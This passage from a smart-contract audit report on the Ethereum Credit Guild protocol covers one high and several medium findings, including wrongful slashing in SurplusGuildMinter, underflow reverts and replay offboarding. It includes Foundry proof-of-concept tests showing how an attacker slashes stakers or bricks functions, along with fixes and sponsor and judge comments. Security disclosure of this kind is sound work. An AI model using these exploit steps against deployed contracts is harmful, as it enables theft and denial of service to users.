[H-04] Users staking via the SurplusGuildMinter can be immediately slashed when staking into a gauge that had previously incurred a loss

Submitted by JCN, also found by carrotsmuggler, Chinmay, beber89, XDZIBECX, serial-coder, Varun_05, Infect3d, stackachu, AlexCzm, 0xdice91, jasonxiale, HighDuty, imare, cats, developerjordy, 0xaltego, 0xadrii, DanielArmstrong, cccz, sl1, wangxx2026, Akali, SECURITISE, smiling_heretic, Timeless, KupiaSec, PENGUN, alexzoid, Stormreckson, 0xpiken, SweetDream, whitehat-boys, klau5, btk, 0xivas, santipu_, asui, grearlake, TheSchnilch, kaden, Inference, and ether_sky

User’s can stake into a gauge directly via the GuildToken or indirectly via the SurplusGuildMinter. When a user stakes into a new gauge (i.e. their weight goes from 0 to > 0) via GuildToken::incrementGauge, their lastGaugeLossApplied mapping for this gauge, which is how the system keeps track of whether or not the user deserves to be slashed, is set to the current timestamp:

GuildToken.sol#L247-L256

247:        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
248:        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
249:        if (getUserGaugeWeight[user][gauge] == 0) {
250:            lastGaugeLossApplied[gauge][user] = block.timestamp;
251:        } else {
252:            require(
253:                _lastGaugeLossApplied >= _lastGaugeLoss,
254:                "GuildToken: pending loss"
255:            );
256:        }

This ensures that any loss that occurred in the gauge, before the user staked, will result in the following condition: lastGaugeLossApplied[gauge][user] > lastGaugeLoss[gauge]. This means the user staked into the gauge after the gauge experienced a loss and therefore, they can not be slashed:

GuildToken.sol#L133-L140

133:    function applyGaugeLoss(address gauge, address who) external {
134:        // check preconditions
135:        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
136:        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][who];
137:        require(
138:            _lastGaugeLoss != 0 && _lastGaugeLossApplied < _lastGaugeLoss,
139:            "GuildToken: no loss to apply"
140:        );

The above function showcases the requirements that need to be met in order for a user to be slashed: the user must have been staked in the gauge when the gauge experienced a loss in order for the user to be slashed. With this in mind, let us observe the process that occurs when users stake via the SurplusGuildMinter:

When a user stakes into a gauge via the SurpluGuildMinter::stake function the SurplusGuildMinter::getRewards function is invoked:

SurplusGuildMinter.sol#L216-L236

216:    function getRewards(
217:        address user,
218:        address term
219:    )
220:        public
221:        returns (
222:            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
223:            UserStake memory userStake, // stake state after execution of getRewards()
224:            bool slashed // true if the user has been slashed
225:        )
226:    {
227:        bool updateState;
228:        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
229:        if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
230:            slashed = true;
231:        }
232:
233:        // if the user is not staking, do nothing
234:        userStake = _stakes[user][term];
235:        if (userStake.stakeTime == 0)
236:            return (lastGaugeLoss, userStake, slashed);

As seen above, this function will retrieve the lastGaugeLoss for the specified gauge (term) the user is staking into and will identify this user as being slashed, i.e. slashed = true, if lastGaugeLoss > userStake.lastGaugeLoss. The issue lies in the fact that, at this point in the code execution, the userStake struct is a freshly initialized memory struct and therefore, all of the struct’s fields are set to 0. Thus, the check on lines 229-230 are really doing the following:

        if (lastGaugeLoss > uint256(0)) {
            slashed = true;
        }

The above code will always set slashed to true if the specified gauge has experienced any loss in its history. Therefore, a gauge can have experienced a loss, been off-boarded, and then been re-onboarded at a future time and The SurplusGuildMinter will consider any user who stakes into this gauge to be slashed.

The code execution will then continue to lines 235-236, where the user’s stake is retrieved from storage (it is initialized to all 0’s since the user has not staked yet) and if the stakeTime field is 0 (it is), the execution returns to the GuildToken::stake function:

SurplusGuildMinter.sol#L114-L125

114:    function stake(address term, uint256 amount) external whenNotPaused {
115:        // apply pending rewards
116:        (uint256 lastGaugeLoss, UserStake memory userStake, ) = getRewards(
117:            msg.sender,
118:            term
119:        );
120:
121:        require(
122:            lastGaugeLoss != block.timestamp,
123:            "SurplusGuildMinter: loss in block"
124:        );
125:        require(amount >= MIN_STAKE, "SurplusGuildMinter: min stake");

The above code illustrates the only validation checks that are performed in this stake function. As long as the user is not attempting to stake into a gauge in the same block that the gauge experienced a loss, and the user is staking at least 1e18, the user’s stake position will be initialized (the user will be allowed to stake their Credit):

SurplusGuildMinter.sol#L114-L125

139:        userStake = UserStake({
140:            stakeTime: SafeCastLib.safeCastTo48(block.timestamp),
141:            lastGaugeLoss: SafeCastLib.safeCastTo48(lastGaugeLoss),
142:            profitIndex: SafeCastLib.safeCastTo160(
143:                ProfitManager(profitManager).userGaugeProfitIndex(
144:                    address(this),
145:                    term
146:                )
147:            ),
148:            credit: userStake.credit + SafeCastLib.safeCastTo128(amount),
149:            guild: userStake.guild + SafeCastLib.safeCastTo128(guildAmount)
150:        });
151:        _stakes[msg.sender][term] = userStake;

The user would naturally perform the next actions: They can call SurplusGuildMinter::getRewards when they want to receive rewards and they can call SurplusGuildMinter::unstake when they want to unstake from their position, i.e. withdraw their deposited Credit. It is important to note that when the unstake function is called, similar to the stake function, the getRewards function will first be invoked. As we previously observed, the getRewards function will consider the user slashed if the gauge had previously experienced any loss in its history. Therefore, after a user has staked, any call to getRewards will result in the following logic to execute:

SurplusGuildMinter.sol#L274-L289

274:        if (slashed) {
275:            emit Unstake(block.timestamp, term, uint256(userStake.credit));
276:            userStake = UserStake({
277:                stakeTime: uint48(0),
278:                lastGaugeLoss: uint48(0),
279:                profitIndex: uint160(0),
280:                credit: uint128(0),
281:                guild: uint128(0)
282:            });
283:            updateState = true;
284:        }
285:
286:        // store the updated stake, if needed
287:        if (updateState) {
288:            _stakes[user][term] = userStake;
289:        }

As we can see above, when a user calls getRewards or unstake after staking into a gauge that has experienced a loss sometime in its history, the user’s stake position will be deleted (slashed). If the user is attempting to unstake then the execution flow will continue in the unstake function:

SurplusGuildMinter.sol#L158-L166C25

158:    function unstake(address term, uint256 amount) external {
159:        // apply pending rewards
160:        (, UserStake memory userStake, bool slashed) = getRewards(
161:            msg.sender,
162:            term
163:        );
164:
165:        // if the user has been slashed, there is nothing to do
166:        if (slashed) return;

Since the user has been considered slashed, the execution will return on line 166 and the user will not be allowed to withdraw their staked Credit.

I would also like to note that the user will still have a chance to receive some earned Credit after the gauge experiences a profit. However, since the user is considered slashed, they will not be given any guild rewards:

SurplusGuildMinter.sol#L247-L264

247:        uint256 deltaIndex = _profitIndex - _userProfitIndex;
248:
249:        if (deltaIndex != 0) {
250:            uint256 creditReward = (uint256(userStake.guild) * deltaIndex) /
251:                1e18;
252:            uint256 guildReward = (creditReward * rewardRatio) / 1e18;
253:            if (slashed) {
254:                guildReward = 0;
255:            }
256:
257:            // forward rewards to user
258:            if (guildReward != 0) {
259:                RateLimitedMinter(rlgm).mint(user, guildReward);
260:                emit GuildReward(block.timestamp, user, guildReward);
261:            }
262:            if (creditReward != 0) {
263:                CreditToken(credit).transfer(user, creditReward);
264:            }

As seen above, if the user is eligible to claim rewards (the gauge they staked into has experienced a profit), then they will be sent creditReward of Credit. However, since they are considered slashed, their guildReward is set to 0. This scenario will only occur if no one calls getReward for this user before the gauge generates a profit. If any call to getReward for this user is invoked before that, the user will not be able to receive any rewards and in both situations they will lose their staked Credit.

An additional, lesser effect, is that the Guild which was minted on behalf of the user who staked will not be unstaked from the gauge, it will not be burned, and the RateLimitedGuildMinter’s buffer will not be replenished. I.e. the following code from the unstake function will not execute:

SurplusGuildMinter.sol#L205-L208

205:        // burn GUILD
206:        GuildToken(guild).decrementGauge(term, guildAmount);
207:        RateLimitedMinter(rlgm).replenishBuffer(guildAmount);
208:        GuildToken(guild).burn(guildAmount);

Impact

User’s utilizing the SurplusGuildMinter to stake into a gauge, which has previously experienced a loss sometime in its history, can be immediately slashed. This will result in the user losing out on any guild rewards (if they were staked into the gauge while it experienced a profit), but most importantly this will result in the user losing their staked principle (Credit).

To further illustrate the impact of this vulnerability, lets consider the following scenario:

A gauge experiences a loss. The gauge is then off-boarded. The gauge is re-onboarded in the future. A user stakes into this gauge via the SurplusGuildMinter. A malicious actor immediately calls getRewards(gauge, user) and the user is slashed and loses their staked Credit.

Proof of Concept

The following test describes the main impact highlighted above, in which a user stakes into a previously lossy gauge and is immediately slashed:

Place the following test inside of test/unit/loan/SurplusGuildMinter.t.sol:

    function testUserImmediatelySlashed() public {
        // initial state
        assertEq(guild.getGaugeWeight(term), 50e18);

        // add credit to surplus buffer
        credit.mint(address(this), 100e18);
        credit.approve(address(profitManager), 50e18);
        profitManager.donateToSurplusBuffer(50e18);

        // term incurs loss
        profitManager.notifyPnL(term, -50e18);
        assertEq(guild.lastGaugeLoss(term), block.timestamp);

        // term offboarded
        guild.removeGauge(term);
        assertEq(guild.isGauge(term), false);

        // time passes and term is re-onboarded
        vm.roll(block.number + 100);
        vm.warp(block.timestamp + (100 * 13));
        guild.addGauge(1, term);
        assertEq(guild.isGauge(term), true);

        // user stakes into term directly
        address user = address(0x01010101);
        guild.mint(user, 10e18);
        vm.startPrank(user);
        guild.incrementGauge(term, 10e18);
        vm.stopPrank();

        // user can un-stake from term
        vm.startPrank(user);
        guild.decrementGauge(term, 10e18);
        vm.stopPrank();

        // user stakes into term via sgm
        credit.mint(user, 10e18);
        vm.startPrank(user);
        credit.approve(address(sgm), 10e18);
        sgm.stake(term, 10e18);
        vm.stopPrank();
        
        // check after-stake state
        assertEq(credit.balanceOf(user), 0);
        assertEq(profitManager.termSurplusBuffer(term), 10e18);
        assertEq(guild.getGaugeWeight(term), 70e18);
        SurplusGuildMinter.UserStake memory userStake = sgm.getUserStake(user, term);
        assertEq(uint256(userStake.stakeTime), block.timestamp);
        assertEq(userStake.lastGaugeLoss, guild.lastGaugeLoss(term));
        assertEq(userStake.profitIndex, 0);
        assertEq(userStake.credit, 10e18);
        assertEq(userStake.guild, 20e18);

        // malicious actor is aware of bug and slashes the user's stake immediately, despite no loss occurring in the gauge
        sgm.getRewards(user, term);

        // check after-getReward state (user was slashed even though no loss has occurred since term was re-onboarded)
        assertEq(credit.balanceOf(user), 0);
        assertEq(profitManager.termSurplusBuffer(term), 10e18);
        assertEq(guild.getGaugeWeight(term), 70e18);
        userStake = sgm.getUserStake(user, term);
        assertEq(uint256(userStake.stakeTime), 0);
        assertEq(userStake.lastGaugeLoss, 0);
        assertEq(userStake.profitIndex, 0);
        assertEq(userStake.credit, 0);
        assertEq(userStake.guild, 0);

        // user tries to unstake but will not receive anything
        uint256 userBalanceBefore = credit.balanceOf(user);
        vm.startPrank(user);
        sgm.unstake(term, 10e18);
        vm.stopPrank();
        uint256 userAfterBalance = credit.balanceOf(user);

        assertEq(userBalanceBefore, 0);
        assertEq(userAfterBalance, 0);
    }

Similar to how the GuildToken::incrementGauge function initializes a user’s lastGaugeLossApplied value, the SurplusGuildMinter should initialize a user’s userStake.lastGaugeLoss to block.timestamp. It should then compare the lastGaugeLoss to the user’s stored userStake.lastGaugeLoss instead of comparing the lastGaugeLoss to a freshly initialized userStake memory struct, whose fields are all 0.

eswak (Ethereum Credit Guild) confirmed via duplicate issue #1164

Note: For full discussion, see here.


Medium Risk Findings (25)

[M-01] No check for sequencer uptime can lead to dutch auctions failing or executing at bad prices

Submitted by EV_om, also found by Ward

The AuctionHouse contract implements a Dutch auction mechanism to recover debt from collateral. However, there is no check for sequencer uptime, which could lead to auctions failing or executing at unfavorable prices.

The current deployment parameters allow auctions to succeed without a loss to the protocol for a duration of 10m 50s. If there’s no bid on the auction after this period, the protocol has no other option but to take a loss or forgive the loan. This could have serious consequences in the event of a network outage, as any loss results in the slashing of all users with weight on the term.

Network outages and large reorgs happen with relative frequency. For instance, Arbitrum suffered an hour-long outage just two weeks ago (source).

Proof of Concept

Consider the following scenario:

  1. A loan is called and an auction is initiated.
  2. The network experiences an outage, causing the sequencer to go offline.
  3. The auction fails to receive any bids within the 10m 50s window due to the outage.
  4. The protocol is forced to take a loss (if there’s still a bid after the midPoint and before the auction ends) or forgive the loan, both leading to the complete slashing of all users with weight on the term.

To mitigate this issue, consider integrating an external uptime feed such as Chainlink’s L2 Sequencer Feeds. This would allow the contract to invalidate an auction if the sequencer was ever offline during its duration. Alternatively, implement a mechanism to restart an auction if it has received no bids.

eswak (Ethereum Credit Guild) acknowledged, but disagreed with severity and commented:

Acknowledging this, we definitely don’t want to add a dependency on an oracle to run the liquidations, so maybe another fix would be to define auction durations in number of blocks. I think basing auctions on time is semantically correct because it depends on market conditions (that are based on time) and when the sequencer resumes the conditions that triggered the auction might not hold anymore. The forgive() path at the end of the auction could be used to unstick the situation at the smart contract level, and the governance can organize an orderly fix of the situation when the sequencer resumes.

Given the likelihood, I think it should be low severity, especially since we know auctions have to be longer on L2s than on mainnet (liquidity potentially needs to bridge, etc), so the chance that a downtime large enough relative to the auction duration will happen is pretty low.

TrungOre (judge) commented:

In my opinion, if an auction is still active when the sequencer is down, it may cause a loss of assets (collateral) for the borrower. Although governance’s measures can help mitigate the situation when the sequencer resumes, loss and slashing in this lending term will be inevitable in such cases. So I think medium severity is appropriate for this issue, but I’m open to other feedback.


[M-02] Inability to withdraw funds for certain users due to whenNotPaused modifier in RateLimitedMinter

Submitted by EV_om, also found by Takarez

From the audit documentation:

[The GUARDIAN role] is expected to be able to freeze new usage of the protocol, but not prevent users from withdrawing their funds.

However, due to the whenNotPaused modifier in the RateLimitedMinter.mint() function, users who have CREDIT tokens staked on a gauge with a pending guildReward will not be able to withdraw their funds. This is because the SurplusGuildMinter.unstake() function attempts to mint rewards through the RateLimitedMinter in the getRewards() function prior to unstaking. If the protocol is paused, this step will fail, causing the transaction to revert and preventing users from withdrawing their funds.

Proof of Concept

Consider a scenario where Alice has CREDIT tokens staked on a gauge with a pending guildReward. Then, the protocol is paused and Alice attempts to unstake her tokens by calling the SurplusGuildMinter.unstake() function, which in turn calls the getRewards() function. This function attempts to mint rewards through the RateLimitedMinter.mint() function. However, because the protocol is paused, this function cannot be executed, causing the transaction to revert and preventing Alice from unstaking and withdrawing her funds.

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/rate-limits/RateLimitedMinter.sol#L52

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L158-L163

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L259

Provide an emergencyWithdraw method allowing users to withdraw their funds while foregoing rewards when the protocol is paused. This change should be carefully reviewed and tested to ensure it does not introduce other security risks.

eswak (Ethereum Credit Guild) confirmed and commented:

Very nice catch, thanks a lot for reporting!


[M-03] totalBorrowedCredit can revert, breaking gauges.

Submitted by carrotsmuggler, also found by falconhoof, PENGUN, SpicyMeatball, TheSchnilch, santipu_ (1, 2), 3docSec, ether_sky, and EV_om

The function totalBorrowedCredit is used to get an estimate of the amount of credit borrowed out by the system. The issue is that changes in creditMultiplier affect this value and can even lead to a revert due to underflow.

The function totalBorrowedCredit is defined as follows:

function totalBorrowedCredit() external view returns (uint256) {
  return CreditToken(credit).targetTotalSupply() - SimplePSM(psm).redeemableCredit();
}

The first term is the total supply of the credit tokens, including rebasing rewards. The second part is the amount of credit tokens that can be redeemed, and is defined as shown below:

uint256 creditMultiplier = ProfitManager(profitManager)
    .creditMultiplier();
return (amountIn * decimalCorrection * 1e18) / creditMultiplier;

If creditMultiplier decreases due to a realized loss, the value returned by redeemableCredit goes up. If this value exceeds the targetTotalSupply() value, this function call will revert.

Assume a fresh market deployment. There are no loans at all. Alice now mints 1e18 credit tokens via the PSM, so the targetTotalSupply() is 1e18 and redeemableCredit is also 1e18. If the same situation is realized after the market has incurred a loss, the creditMultiplier will be less than 1e18, and the redeemableCredit will be greater than 1e18. This will cause the function to revert. A malicious borrower can also burn some of their credit tokens to help brick this function.

The totalBorrowedCredit function is used in debtCeiling calculations, and thus when it reverts it will also break term borrow operations, breaking functionality.

Proof of Concept

In this POC the following steps are demonstrated:

  1. User mints via PSM module.
  2. A loss is realized, causing the creditMultiplier to decrease.
  3. User burns up a bunch of their credit tokens, causing the totalSupply to drop.
  4. The totalBorrowedCredit function call reverts.

Put this in the ProfitManager.t.sol file:

function testAttackRevert() public {
  // grant roles to test contract
  vm.startPrank(governor);
  core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
  core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
  vm.stopPrank();

  emit log_named_uint('TBC 1', profitManager.totalBorrowedCredit());
  // psm mint 100 CREDIT
  pegToken.mint(address(this), 100e6);
  pegToken.approve(address(psm), 100e6);
  psm.mint(address(this), 100e6);

  emit log_named_uint('TBC 2', profitManager.totalBorrowedCredit());

  // apply a loss
  // 50 CREDIT of loans completely default (50 USD loss)
  profitManager.notifyPnL(address(this), -50e18);
  emit log_named_uint('TBC 3', profitManager.totalBorrowedCredit());

  // burn tokens to throw off the ratio
  credit.burn(70e18);
  vm.expectRevert();
  emit log_named_uint('TBC 4', profitManager.totalBorrowedCredit());
}

The expectRevert in the end shows the revert. Consequences due to this failure is evident since this function is used in the debtCeiling calculations in lending terms.

Since this breaks lending terms, it is a critical issue.

Tools Used

Foundry

The totalBorrowedCredit function should never fail. Either cap it to 0 to prevent underflows. Or a better way is to track the total tokens minted by the PSM module with a variable which is incremented every mint and decremented every burn. This removes the dependence on creditMultiplier which can change over time even if PSM module users haven’t minted or burnt any excess tokens.

Assessed type

Under/Overflow

eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:

Confirming this issue.

I don’t know what rules are used to determine high/medium, but this would only prevent new borrows in a market, and doesn’t prevent a safe wind down of a market. It also does not prevent users from withdrawing their funds, so I’d qualify as Medium, even though it definitely needs a fix.

Thanks for the quality of the report.

TrungOre (judge) decreased severity to Medium and commented:

I agree that this should be a medium based on both its impact and likelihood.


[M-04] PnL system can be broken by large users intentionally or unintentionally.

Submitted by carrotsmuggler, also found by 0xPhantom (1, 2), Soltho, y0ng0p3, SECURITISE, CaeraDenoir, and pavankv

The function notifyPnL in ProfitManager.sol is responsible for accounting the profits gained by the system, and also the losses, slashing and recovery of bad loans. When a loss is encountered, gauge votes are slashed and if there is a loss to the system, the creditMultiplier is decreased to reflect the loss.

The creditMultiplier is updated in case of a loss in the following snippet.

// update the CREDIT multiplier
uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
uint256 newCreditMultiplier = (creditMultiplier *
    (creditTotalSupply - loss)) / creditTotalSupply;
creditMultiplier = newCreditMultiplier;

Here, the term creditTotalSupply - loss is calculated to calculate the new credit multiplier. The issue is that the loss can be larger than the creditTotalSupply for large loans. This will lead to a revert, and block the function notifyPnL breaking the gauge slashing and voting systems as well.

This scenario can happen in the following manner:

  1. Alice deposits USDC and mints 1e18 gUSDC. Say she is the largest participator in the market.
  2. Alice goes to the SurplusGuildMinter contract and stakes the some of the minted gUSDC tokens (say 0.8e18) on her own terms.
  3. Alice defaults due to some depeg event. System enters a loss.

Now, the code will enter the notifyPnL function with some large loss amount. Since Alice provided only a part of the tokens to the surplusbuffer in step 2, we can assume loss > _surplusBuffer. This executes the part of the code which updates the creditMultiplier.

else {
// empty the surplus buffer
loss -= _surplusBuffer;
surplusBuffer = 0;
CreditToken(_credit).burn(_surplusBuffer);
emit SurplusBufferUpdate(block.timestamp, 0);

// update the CREDIT multiplier
uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
uint256 newCreditMultiplier = (creditMultiplier *
    (creditTotalSupply - loss)) / creditTotalSupply;
creditMultiplier = newCreditMultiplier;
emit CreditMultiplierUpdate(
    block.timestamp,
    newCreditMultiplier
);

As we can see above, the code first calls burn on the surplusbuffer. This burns up all the tokens supplied by Alice in there, drastically reducing the totalSupply of the credit tokens. In this scenario, Alice’s loss is 1e18, but the totalSupply just got nuked to 0.2e18. This will lead to a revert in the next line, as creditTotalSupply - loss will be negative. This will break the notifyPnL function, and the gauge slashing and voting systems as well.

This also pushes the system towards more bad debt, since the auction process cannot be completed since the onBid function also calls notifyPnL to update the credit multiplier.

The impact is high, and the likelihood is medium since most DeFi projects have whales who take out large loans and farm with them, making this a likely scenario. Thus the overall severity is high.

Proof of Concept

Attached is a POC loosely following the attack path described above. It is a modification of the testBidSuccessBadDebt test and should be added to the AuctionHouse.t.sol test file:

function testAttackBid() public {
  bytes32 loanId = _setupAndCallLoan();
  uint256 PHASE_1_DURATION = auctionHouse.midPoint();
  uint256 PHASE_2_DURATION = auctionHouse.auctionDuration() - auctionHouse.midPoint();
  vm.roll(block.number + 1);
  vm.warp(block.timestamp + PHASE_1_DURATION + (PHASE_2_DURATION * 2) / 3);

  // At this time, get full collateral, repay half debt
  (uint256 collateralReceived, uint256 creditAsked) = auctionHouse.getBidDetail(loanId);

  emit log_named_uint('collateralReceived', collateralReceived);
  emit log_named_uint('creditAsked', creditAsked);

  vm.startPrank(borrower);
  credit.burn(20_000e18);
  vm.stopPrank();

  // bid
  credit.mint(bidder, creditAsked);
  vm.startPrank(bidder);
  credit.approve(address(term), creditAsked);
  vm.expectRevert();
  auctionHouse.bid(loanId);
  vm.stopPrank();
}

In this POC, Alice mints tokens and then her loan gets sent to the auction house. Once Alice burns her tokens, Bob can no longer bid on her loan. Alice burning her tokens is the same as her supplying them to surplusguildminter since that contract will also burn her tokens.

Tools Used

Foundry

If the loss is greater than the creditTotalSupply, the creditMultiplier should be set to 0. This will prevent the system from breaking.

Assessed type

Under/Overflow

eswak (Ethereum Credit Guild) commented:

Here the term creditTotalSupply - loss is calculated to calculate the new credit multiplier. The issue is that the loss can be larger than the creditTotalSupply for large loans. This will lead to a revert.

Alice burning her tokens is the same as her supplying them to SurplusGuildMinter since that contract will also burn her tokens.

This would not be the case, as the loss is reduced by the surplusBuffer when the tokens are burnt. So in the example, 0.8e18 credit staked get burnt, and the loss becomes 1e18 - 0.8e18 = 0.2e18, which is the balance that Alice has borrowed & still holds in her wallet, and worst case the creditMultiplier could go to 0.

I think the fact that borrowers can just burn their borrowed credit tokens is another problem which I need to think through before weighing in.

eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:

Confirming, I think we’re going to put access control on CreditToken.burn so that only lending terms, profit manager, and psm can do it.

I’d qualify as medium because it sticks the market into an unusable state, but the user funds are not lost/stolen. The governance can always recover peg tokens in the PSM + collateral tokens in lending terms to organize an orderly closing of the market where everyone recovers what they had put in the protocol + a share of the griefer’s collateral as a compensation.

TrungOre (judge) decreased severity to Medium and commented:

Agree with the sponsor that medium severity is appropriate for this issue. The scenario is very unlikely to happen, in which users would need to burn their own assets (more than the total balance of other Credit token holders).


[M-05] Replay attack to suddenly offboard the re-onboarded lending term

Submitted by serial-coder, also found by EV_om, 0xStalin, evmboi32, Soul22, DanielArmstrong, gesha17, SpicyMeatball, smiling_heretic, nonseodion, Cosine, HighDuty, 0xbepresent, lsaudit, kaden, and ether_sky

The LendingTermOffboarding contract allows guild holders to poll to remove a lending term. If the voting weight is enough, the lending term can be offboarded without delay. Further, the offboarded term can be re-onboarded to become an active term through the LendingTermOnboarding::proposeOnboard() following up with the voting mechanism.

The following briefly describes the steps for offboarding the lending term through the LendingTermOffboarding contract:

  1. Anyone executes the proposeOffboard() to create a poll for offboarding the term. The poll has an age of ~7 days.
  2. Guild holders cast votes for offboarding the term via supportOffboard().
  3. If the poll has not ended and the voting weight is enough, the canOffboard[term] flag will be set.
  4. If the canOffboard[term] flag is set; anyone can execute the offboard() to offboard the term.
  5. All loans of the offboarded term have to be called and closed.
  6. After all loans have been closed, the cleanup() can be invoked to explicitly terminate the term and reset the canOffboard[term] flag.

The following roughly describes the steps for re-onboarding the offboarded lending term through the LendingTermOnboarding contract:

  1. The offboarded term can be proposed for re-onboarding through the proposeOnboard().
  2. Guild holders cast votes for the term.
  3. If the vote is successful, the term re-onboarding operation is queued in the Timelock.
  4. After the Timelock delay, the term can be re-onboarded to become an active lending term again.

Vulnerability Details

This report describes the vulnerability in the LendingTermOffboarding contract, allowing an attacker to force the re-onboarded lending term to offboard by overriding the DAO vote offboarding mechanism. In other words, the attacker is not required to create an offboarding poll and wait for the vote to succeed in offboarding the target term. Furthermore, the attacker is not required to possess any guild tokens.

The following explains the attack steps:

  1. As per steps 1 - 4 for offboarding the lending term previously described above, the canOffboard[term] flag will be set by the supportOffboard(), and the lending term will be offboarded via the offboard().
  2. To explicitly terminate the term (via the cleanup()), all loans issued must be called and closed. Therefore, there will be a time gap waiting for all loans to be closed in this step.
  3. Assuming that while waiting for all loans to be closed, the offboarded term has been proposed and successfully granted for re-onboarding (see steps 1 - 4 previously described above for re-onboarding the offboarded lending term).
  4. After the previous step, the term has become re-onboarded (active) for issuing new loans. Notice that the term was re-onboarded without executing the cleanup(). Thus, the canOffboard[term] flag is still active.
  5. For this reason, the attacker can execute the offboard() to force offboarding the re-onboarded term, overriding the DAO vote offboarding mechanism (since the canOffboard[term] flag is still active).

The attacker can suddenly offboard the re-onboarded term whenever they will, regardless of how long the target term has been re-onboarded, how long the offboarding poll has expired, or how long the canOffboard[term] flag has been activated (please refer to the Proof of Concept section for the coded PoC).

Furthermore, the attacker does not need to hold guild tokens to exploit this vulnerability:

    function supportOffboard(
        uint256 snapshotBlock,
        address term
    ) external whenNotPaused {
        require(
            block.number <= snapshotBlock + POLL_DURATION_BLOCKS,
            "LendingTermOffboarding: poll expired"
        );
        uint256 _weight = polls[snapshotBlock][term];
        require(_weight != 0, "LendingTermOffboarding: poll not found");
        uint256 userWeight = GuildToken(guildToken).getPastVotes(
            msg.sender,
            snapshotBlock
        );
        require(userWeight != 0, "LendingTermOffboarding: zero weight");
        require(
            userPollVotes[msg.sender][snapshotBlock][term] == 0,
            "LendingTermOffboarding: already voted"
        );

        userPollVotes[msg.sender][snapshotBlock][term] = userWeight;
        polls[snapshotBlock][term] = _weight + userWeight;
@1      if (_weight + userWeight >= quorum) {
@1          canOffboard[term] = true; //@audit -- Once the voting weight is enough, the canOffboard[term] flag will be set
@1      }
        emit OffboardSupport(
            block.timestamp,
            term,
            snapshotBlock,
            msg.sender,
            userWeight
        );
    }

    function offboard(address term) external whenNotPaused {
@2      require(canOffboard[term], "LendingTermOffboarding: quorum not met"); //@audit -- If the canOffboard[term] flag is set, the term can be offboarded

        // update protocol config
        // this will revert if the term has already been offboarded
        // through another mean.
        GuildToken(guildToken).removeGauge(term);

        // pause psm redemptions
        if (
            nOffboardingsInProgress++ == 0 &&
            !SimplePSM(psm).redemptionsPaused()
        ) {
            SimplePSM(psm).setRedemptionsPaused(true);
        }

        emit Offboard(block.timestamp, term);
    }

    function cleanup(address term) external whenNotPaused {
        require(canOffboard[term], "LendingTermOffboarding: quorum not met");
@3      require(
@3          LendingTerm(term).issuance() == 0, //@audit -- To clean up the term, all its loans must be closed
@3          "LendingTermOffboarding: not all loans closed"
@3      );
        require(
            GuildToken(guildToken).isDeprecatedGauge(term),
            "LendingTermOffboarding: re-onboarded"
        );

        // update protocol config
        core().revokeRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term);
        core().revokeRole(CoreRoles.GAUGE_PNL_NOTIFIER, term);

        // unpause psm redemptions
        if (
            --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
        ) {
            SimplePSM(psm).setRedemptionsPaused(false);
        }

        canOffboard[term] = false;
        emit Cleanup(block.timestamp, term);
    }

@1 - Once the voting weight is enough, the canOffboard[term] flag will be set: See here.

@2 - If the canOffboard[term] flag is set, the term can be offboarded: See here.

@3 - To clean up the term, all its loans must be closed: See here.

Impact

The active re-onboarded lending term can be forced to immediately offboard, bypassing the DAO vote offboarding, which is the protocol’s core mechanism. Subsequently, the attacked lending term will block all new loans from being issued and prevent guild holders from voting for the term.

Moreover, all loans previously issued by the attacked term can be called putting the loans for bidding silently (since the attacker bypasses the DAO vote offboarding mechanism). If one of the loans fails on bidding to fill up the loan’s principal, the term’s loss will be notified. As a result, all users who stake credit tokens through the SurplusGuildMinter contract to vote for the attacked term will be slashed with all their credit principal and guild rewards.

Proof of Concept

Place the testPoCReplayOffboarding() in the .test/unit/governance/LendingTermOffboarding.t.sol file and run the test using the forge test --match-test testPoCReplayOffboarding -vvv command:

function testPoCReplayOffboarding() public {
    // Prepare for Bob
    guild.mint(bob, _QUORUM);
    vm.startPrank(bob);
    guild.delegate(bob);

    uint256 POLL_DURATION_BLOCKS = offboarder.POLL_DURATION_BLOCKS();
    uint256 snapshotBlock = block.number;
    uint256 OFFBOARDING_POLL_END_BLOCK = snapshotBlock + POLL_DURATION_BLOCKS;

    // Bob proposes an offboarding of the term
    assertEq(guild.isGauge(address(term)), true);
    offboarder.proposeOffboard(address(term));

    // Next 1 day
    vm.roll(block.number + 6646); // 1 day
    vm.warp(block.timestamp + 6646 * 13);
    assertLe(block.number, OFFBOARDING_POLL_END_BLOCK);

    vm.expectRevert("LendingTermOffboarding: quorum not met");
    offboarder.cleanup(address(term));

    // Bob votes for offboarding the term and executes the offboarding (he has a sufficient voting weight)
    assertEq(guild.isGauge(address(term)), true);
    assertEq(offboarder.canOffboard(address(term)), false);
    offboarder.supportOffboard(snapshotBlock, address(term));
    offboarder.offboard(address(term));
    assertEq(guild.isGauge(address(term)), false);
    assertEq(offboarder.canOffboard(address(term)), true);

    // Cannot clean up because loans are active
    vm.expectRevert("LendingTermOffboarding: not all loans closed");
    offboarder.cleanup(address(term));

    // ------------------------------------------------------------------------------ //
    // ---<< Waiting for all term's loans to be closed to execute the cleanup() >>--- //
    // ------------------------------------------------------------------------------ //

    // Next 10 days
    // Offboarding poll expired
    vm.roll(block.number + 66460); // 10 days
    vm.warp(block.timestamp + 66460 * 13);
    assertGt(block.number, OFFBOARDING_POLL_END_BLOCK);

    // While waiting for all term's loans to be closed, the term gets re-onboarded
    vm.stopPrank();
    assertEq(guild.isGauge(address(term)), false);
    guild.addGauge(1, address(term));
    assertEq(guild.isGauge(address(term)), true);

